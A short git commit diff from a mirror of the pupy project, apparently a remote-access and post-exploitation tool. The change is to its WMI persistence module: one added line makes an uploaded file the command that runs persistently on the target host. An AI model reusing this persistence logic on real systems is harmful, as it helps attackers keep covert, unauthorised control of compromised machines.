mirror of https://github.com/n1nj4sec/pupy.git
This commit is contained in:
parent
bd13f36497
commit
56443dd9cd
|
@ -127,6 +127,7 @@ class PersistenceModule(PupyModule):
|
||||||
pos+=chunk_size
|
pos+=chunk_size
|
||||||
rf.close()
|
rf.close()
|
||||||
self.success("upload successful")
|
self.success("upload successful")
|
||||||
|
cmd = remote_path
|
||||||
elif args.cmd:
|
elif args.cmd:
|
||||||
cmd = args.cmd
|
cmd = args.cmd
|
||||||
else:
|
else:
|
||||||
|
@ -150,5 +151,3 @@ class PersistenceModule(PupyModule):
|
||||||
self.success("persistence added using wmi!")
|
self.success("persistence added using wmi!")
|
||||||
else:
|
else:
|
||||||
self.error("an error occured creating the wmi persistence, try to do it manually")
|
self.error("an error occured creating the wmi persistence, try to do it manually")
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue